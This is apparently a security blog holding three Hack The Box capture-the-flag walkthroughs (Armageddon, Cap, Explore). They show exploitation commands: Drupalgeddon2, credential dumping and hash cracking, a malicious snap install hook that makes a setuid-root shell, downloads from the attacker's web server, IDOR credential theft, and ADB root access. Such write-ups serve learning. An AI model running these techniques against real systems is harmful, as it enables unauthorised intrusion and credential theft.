Armageddon is an easy Linux box created by bertolis on Hack The Box and was released on the 27th of March 2021. Hello world, welcome to Haxez where today I will explain how I hacked Armageddon. The skills required to complete this box are Basic Linux Knowledge. The skills learnt from completing this box are Drupal exploitation and Snap package manager exploitation.

Armageddon Enumeration

I connected to the Hack The Box VPN and clicked the button to spawn the box. To ensure I could talk to the box, I sent a single ping request and the box kindly responded. Next, I ran a Nmap scan that targeted all ports, enumerated service versions, ran default scripts and saved all output types. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open. Furthermore, I learnt that the webserver was running Apache 2.4.6 and that the application used the Drupal Content Management System.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo nmap -sC -sV -p- 10.129.48.89 --min-rate 10000 -oA Armageddon

Web Application Enumeration

The Nmap scan identified a number of files that contained useful information. For example, the CHANGELOG.txt file disclosed the version history of Drupal 7. The changelog showed that the last update was 7.5.6, As a result, I was able to search for vulnerabilities affecting that particular version of Drupal.

I used searchsploit to search for vulnerabilities that affected Drupal version 7.56. The results indicated that there were several authenticated and unauthenticated remote code execution vulnerabilities. Furthermore, a number of these vulnerabilities had Metasploit modules.

┌──(kali㉿kali)-[/opt/droopescan]
└─$ sudo searchsploit Drupal 7.56

Armageddon Foothold With Drupalgeddon

First, I launched Metasploit with the msfconsole command. Next, I searched for drupalgeddon2 which produced 1 result. I selected the module by using the use command followed by the module number displayed in the search results. After that, I configured the module by setting the RHOSTS parameter to the IP address of the target. Finally, I set the LHOST parameter to tun0 (my VPN interface) and then ran the exploit. After a brief period, I received a meterpreter session.

Time to start pillaging. Now that I had a shell on the box, I started looking for useful information. I knew that Drupal was a database-powered website so started looking for the database configuration file. After a quick Google search, I learnt that Drupal stores the database connection details in a file called settings.php in the sites/default directory. I viewed the contents of the file and stole the credentials.

Unfortunately, the shell didn’t play well when logging into the database. When running queries, the results weren’t returned to the terminal. I’m not entirely sure what the problem was but it meant I had to change my approach. I used the following commands to retrieve the users from the user’s table.

mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -e 'show databases'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'show tables'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'describe users'
mysql -u 'drupaluser' --password='CQHEy@9M*m23gBVj' -D drupal -e 'select uid,name,pass,login from users'

uid     name    pass    login
0                       0
1       brucetherealadmin       $S$DgL2gjv6ZtxBo6CdqZEyJuBphBmrCqIV6W97.oOsUf1xAhaadURt 1607076276

Lateral Movement

I saved the password hash to a file and searched on the hashcat example hashes web page for the type of hash. As a result, I learnt that hashes that start with ‘$S$’ appear to be specific to Drupal 7. The hashcat cracking mode for these hashes is 7900. I used hashcat to crack the hash which revealed that the password was booboo.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo hashcat -m 7900 hash.txt /usr/share/wordlists/rockyou.txt

I then used the password to log in via SSH as the brucetherealadmin user. From here I was able to capture the user.txt password.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ ssh [email protected]
The authenticity of host '10.129.48.89 (10.129.48.89)' can't be established.
ED25519 key fingerprint is SHA256:rMsnEyZLB6x3S3t/2SFrEG1MnMxicQ0sVs9pFhjchIQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.48.89' (ED25519) to the list of known hosts.
[email protected]'s password: 
Last login: Tue Mar 23 12:40:36 2021 from 10.10.14.2
[brucetherealadmin@armageddon ~]$ cat user.txt
e91▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓2fc

Armageddon Host Enumeration

With the user flag captured, I started enumerating the system. I tend to run some commands before resulting to LinPEASS. First, I tend to check to see if the user can run anything with sudo privileges. From running sudo -l, I learnt that the user could install snap packages.

[brucetherealadmin@armageddon ~]$ sudo -l

Next, I headed to GTFO Bins to see if there were any techniques that would allow me to exploit this privilege. As a result, I learnt that having the ability to run snap as sudo could allow privilege escalation. Since it snap doesn’t drop the elevated privileges it could be used to access the rest of the file system with those privileges.

I followed the example on GTFO bins but ran into a problem. When trying to execute the line starting with fpm, the system reported that the fpm command wasn’t found.

However, this reminded me of LXC and Docker container escapes. Perhaps if I created the snap locally and then uploaded it to the server, I could use the install command to install it. First I needed to install snap locally. I tried to run it and Kali was kind enough to tell me it could install it.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ snap                                                                 
Command 'snap' not found, but can be installed with:
sudo apt install snapd
Do you want to install it? (N/y)y

I then installed FPM with gem as follows.

┌──(kali㉿kali)-[~/HTB/Armageddon]
└─$ sudo gem install --no-document fpm

Armageddon Privilege Escalation

The next step was to create the snap and download it onto the target box and install it. However, I ran into problems so I watched IppSec’s video >>HERE<< to guide me through it. First, on the target box, I copied /usr/bin/bash to /home/brucetherealadmin/bash.

[brucetherealadmin@armageddon ~]$ cp /usr/bin/bash ~/bash

Next, I modified the payload as shown below and executed it on my local system.

COMMAND="chown root:root /home/brucetherealadmin/bash; chmod 4755 /home/brucetherealadmin/bash"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta

Then, I span up a Python webserver.

┌──(kali㉿kali)-[/tmp/tmp.fd5g4ogYTU]
└─$ sudo python3 -m http.server 8

Finally, I downloaded the snap using cURL and installed it.

[brucetherealadmin@armageddon tmp.daj9QvnIzU]$ curl http://10.10.14.54/xxxx_1.0_all.snap -o bash.snap

[brucetherealadmin@armageddon ~]$ sudo snap install bash.snap --dangerous --devmode

As you can see from the screenshot below, the snap was installed successfully. However, more importantly, it ran the command to change the ownership and permissions of the bash file. The file was now owned by root and had setuid set.

I could now run the bash binary and capture the root flag.

[brucetherealadmin@armageddon ~]$ ./bash -p
bash-4.2# cat /root/root.txt
ace▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓138

Armageddon Learnings

I enjoyed this box but thought it was tricky once I had established a foothold. The method of gaining a foothold was simple. It helped me reinforce some Drupal knowledge and I learnt about the specific exploit. Once I was on the box I ran into problems. However, I learnt some valuable lessons about ways to interact with MySQL.

In theory, the privilege escalation should have been simple but I struggled. I haven’t done much with Snap so my brain automatically thought that it was harder than it was. Now that I’ve completed it, it seems easy. Anyway, another one bites the dust. Thanks for the box.

Cap is an easy Linux machine created by InfoSecJack on Hack The Box and was released on 05 Jun 2021. Ahoy mateys! Welcome to Haxez where today I will commit mutiny by pillaging and plundering the Cap. This box requires web enumeration and packet capture analysis skills and will teach IDOR and exploiting Linux capabilities. Let’s set sail!

Cap Host Enumeration

Initially, I pinged the box to ensure that it was online. Once I had confirmed I could communicate with it, I started a Nmap scan. I scanned all ports requesting service versions and running default scripts. From the results, I learnt that ports 21 for FTP, 22 for SSH and 80 for HTTP were open. The FTP banner informed me that it was VSFTP version 3.0.3 so no smiley face vulnerability. The SSH banner revealed the server to Ubuntu. Lastly, the HTTP results reported that it was a Gunicorn web server which admittedly I didn’t know existed. However, performing a quick search reveals that it’s a Python webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ sudo nmap -sC -sV -p- 10.129.229.43 --min-rate 10000 -oA cap

Nmap should have identified if anonymous logins were allowed but I tried anyway. However, as you can see below, 503 login is incorrect. I will need some credentials before I’m able to access it.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ftp 10.129.229.43

Cap Web Application Enumeration

With FTP and SSH unlikely to be my foothold, I navigate to the web application. I’m not quite sure how to describe this application. It shows the IP configuration and Network status of the logged-in user. Furthermore, it has what appears to be a packet analysis page with the option to download a PCAP.

Because FTP is a cleartext protocol, the PCAP could be useful. For example, If I were to run Wireshark on tun0 and then log in to the FTP service. The credentials I logged in with would be transmitted to the server in plaintext. Additionally, if someone were on the same network as me, they could intercept my traffic and steal my username and password.

Packet Analysis

Initially, I downloaded the available packet capture but after looking through it there wasn’t anything interesting. However, the URL was specifying the packet capture file number to download. For instance, if changed the number after the /data/ endpoint to 0, it would let me download the packet capture file named 0. This type of vulnerability is known as an IDOR or indirect object reference vulnerability. It’s where someone can access parts of the application that there not supposed to.

Since the admin is usually the first user on the box, I changed the value to 0 and download the file. Next, I opened it with Wireshark and the Nathans FTP credentials were there waiting to be plundered. I could have filtered the packets by FTP if it was a larger packet capture, however, the credentials were the firs thing I noticed.

Cap Foothold

Initially, I thought to try and access the FTP but then a radical thought popped into my head, go hard or go home! Let’s go for the (insert sports metaphor). I tried to log in to SSH with the credentials and…. I’m in! Credential reuse is common even among IT professionals. This allowed me to capture the user.txt flag and establish a foothold on the box.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ ssh [email protected]                                       
The authenticity of host '10.129.229.43 (10.129.229.43)' can't be established.
Last login: Thu May 27 11:21:27 2021 from 10.10.14.7
nathan@cap:~$ cat user.txt
e88▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓9f2

Authenticated Host Enumeration

First, I downloaded the latest copy of LinPEAS. Next, I span up a Python3 web server in the same directory as LinPEAS. I then used wget on the target box to download LinPEAS from my Python3 web server. Finally, I gave it executable permissions and ran it. As a result, I learnt that Python has the ability to setuid. If Python is owned by root then I should be able to use Python to set my user id to 0 thus giving me root.

Attack Box

Downloading LinPEAS and spawning webserver.

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ wget https://github.com/carlospolop/PEASS-ng/releases/download/20230402/linpeas.sh

┌──(kali㉿kali)-[~/HTB/CAP]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Target Box

Downloading, changing permissions and executing LinPEAS.

nathan@cap:~$ wget http://10.10.14.36/linpeas.sh
nathan@cap:~$ chmod +x linpeas.sh
nathan@cap:~$ ./linpeas.sh

Cap Privilege Escalation

First things first, I checked to see if Python was owned by root and sure enough it was.

nathan@cap:~$ ls -laSH /usr/bin/python3.8                                                                                                                    
-rwxr-xr-x 1 root root 5486384 Jan 27  2021 /usr/bin/python3.8

Next, I started Python imported the os module and used it to set my ID to 0.

Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.setuid(0)

Then I checked to see that it had set me to root by running whoami and id.

>>> os.system('whoami')
root
>>> os.system('id')
uid=0(root) gid=1001(nathan) groups=1001(nathan)

Finally, I spawned a shell and used it to capture the root.txt. flag.

>>> os.system('sh')
# cat /root/root.txt
037▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓06f

Cap Learnings

Cap was a great easy box which I believe I could have solved without a walkthrough. However, I do like reading through walkthroughs and watching IppSec’s video while solving boxes. There is always something new to learn from them. The initial foothold was fun and perfectly demonstrated the dangers of using plaintext FTP. I’m finding it difficult to put into words but it’s also a good example of why it’s important to look at the as a whole. Using one service to disclose information about another service, to then use that information to gain access to the host via another service. A lot of fun.

The privilege escalation was good and in my opinion, is how all easy boxes should be. I discovered it with LinPEAS and immediately had an idea of what I needed to do. Admittedly, I was going to write a script instead of just using Python directly because small brain! Despite not learning a great deal from this box, it did reinforce existing knowledge which I appreciate. Doing something once isn’t enough to be proficient at it so I’m always happy to practise existing skills. I thought this was a really fun box from InfoSecJack but this is the day you will always remember as the day you almost outsmarted Captain Haxez Sparrow.. or something. Thank you and farewell mateys!

Explore is an easy Android box created by bertolis on Hack The Box and was released on 25th October 2021. Hello world, welcome to Haxez where today I will be explaining how to root the Android box named explore. This box suggests having basic network and Android enumeration skills and basic Metasploit usage skills. Through rooting this box you will learn basic Android exploitation skills.

Explore Enumeration

After spawning the box, I sent a ping request to ensure that it was online and that I could reach it. Once the box responded, I kicked off a Nmap scan targeting all ports, requesting service versions and running default scripts. As a result, I learnt that ports 2222 for SSH, 40443 for HTTP and 59777 for HTTP were open. Furthermore, port 5555 was showing as filtered but I had absolutely no idea what that was. Interestingly, the banner detection for port 59777 suggested that the service was Bukkit JSONAPI httpd for Minecraft game server. The SSH banner was also showing as Banna Studio.

┌──(kali㉿kali)-[~/HTB/Explore]
└─$ sudo nmap -sC -sV -p- 10.129.231.131 --min-rate 10000 -oA explore

Performing a search for SSH Banana Studio revealed that this was an android box as the results were for Android Apps. Next, I performed a search for “Android port 40443” but didn’t discover much. Finally, I performed a search for “Android port 59777” and the results suggested that the port belonged to a file manager app. Furthermore, the second result was for a CVE on NIST.

Visiting the CVE result on NIST reports the following. The ES File Explorer File Manager application through 4.1.9.7.4 for Android allows remote attackers to read arbitrary files or execute applications via TCP port 59777 requests on the local Wi-Fi network. This TCP port remains open after the ES application has been launched once, and responds to unauthenticated application/json data over HTTP.

Exploiting ES File Explorer

I loaded up Metasploit and searched for ES File Explorer and the first result or result 0 was an auxiliary scanner module named es_file_explorer_open_port. I told Metasploit to use this module and then ran the info command which reported back the following. This module connects to ES File Explorer’s HTTP server to run certain commands. The HTTP server is started on app launch and is available as long as the app is open. Version 4.1.9.7.4 and below are reported vulnerable This module has been tested against 4.1.9.5.1.

I configured the remote host and left the default port and default auxiliary action configured. Running the exploit reported back that the name of the device was VMware Virtual Platform. It seemed like the exploit was working. The module has a bunch of options which you can see below.

After going through several different options such as listing files, I decided to look at the pictures. I set the action to LISTPICS and ran the exploit. The results showed that there was a suspiciously named file called creds.jpg. For that reason, I changed the auxiliary action to GETFILE and change the ACTIONITEM to the path and name of the image and then ran the exploit.

msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTION GETFILE
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > set ACTIONITEM /storage/emulated/0/DCIM/creds.jpg
msf6 auxiliary(scanner/http/es_file_explorer_open_port) > exploit

Explore Foothold

After downloading the file, I opened it and saw a set of credentials. The credentials appeared to belong to someone called Kristi and their password was, well see for yourself. I made a note of these and tried to SSH to the host with the credentials. Unfortunately, I ran into an error along the way.

As you can see below, I received the error “no matching host key type found”. After a quick search, I found an Ubuntu forum threat >>HERE<< which solved the problem. I probably should have known this as it was something that came up in an exam recently.

┌──(kali㉿kali)-[~]
└─$ ssh -p 2222 [email protected] -o PreferredAuthentications=password
Unable to negotiate with 10.129.231.131 port 2222: no matching host key type found. Their offer: ssh-rsa

Anyway, appending the Host Key Algorithms argument to my SSH command allowed me to authenticate to the host (after a few incorrect password attempts). Once on the box, I couldn’t find the user.txt file so I started enumerating. I used socket stats to check the listening services and found the 5555 port again. After another search, I learnt that this port is for Android Debug Bridge which I know from my attempts to root Android devices.

Explore Privilege Escalation

The Android Debug Bridge should allow me high-privilege access to the device if I can access the service. Therefore, I set up a local port forward through SSH. I had a bit of trouble getting this to work correctly but mostly due to my syntax being incorrect.

┌──(kali㉿kali)-[~]
└─$ ssh -L 5555:localhost:5555 [email protected] -p 2222 -o HostKeyAlgorithms=+ssh-rsa
Password authentication
([email protected]) Password: 
:/ $

Next, I had issues connecting to the correct device. I was able to connect to adb ok but when trying to get a shell, I received an error message advising that there was more than one device. I have an emulator set up for another box I’m working on. Anyway, this was another syntax issue which was resolved after a quick search.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell

Now that I could successfully connect to the device, it was time to disconnect and reconnect as root. Running adb root will restart adb and give me root permissions on the device. Once on the device as root, I was able to capture both the user and root flags.

┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 root 
restarting adbd as root
                                                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ adb -s 127.0.0.1:5555 shell
x86_64:/ # whoami                                                                                                                                           
root
x86_64:/ # cat /storage/emulated/0/user.txt
f32▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓250
x86_64:/ # cat /data/root.txt
f04▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8c5
x86_64:/ #

Learnings

This was a nice easy box for first thing on a Monday morning. I ran into a few issues while solving it but nothing too difficult. The initial information-gathering phase was typical as I tend to perform a TCP scan on all ports regardless. The services would have thrown me off a bit had I not known this was an Android device going into it. I liked the initial “exploit” to get files as I remember having that application installed on one of my phones in the past.

The privilege escalation was fun as I got to practise local port forwarding but with a few complications. That took me a few attempts to get the syntax correct due to the host key algorithms. I also learnt how to use ADB from the Linux terminal which I hadn’t done before and how to get root through it. Overall, this was a nice box which taught me a few things about android. Thanks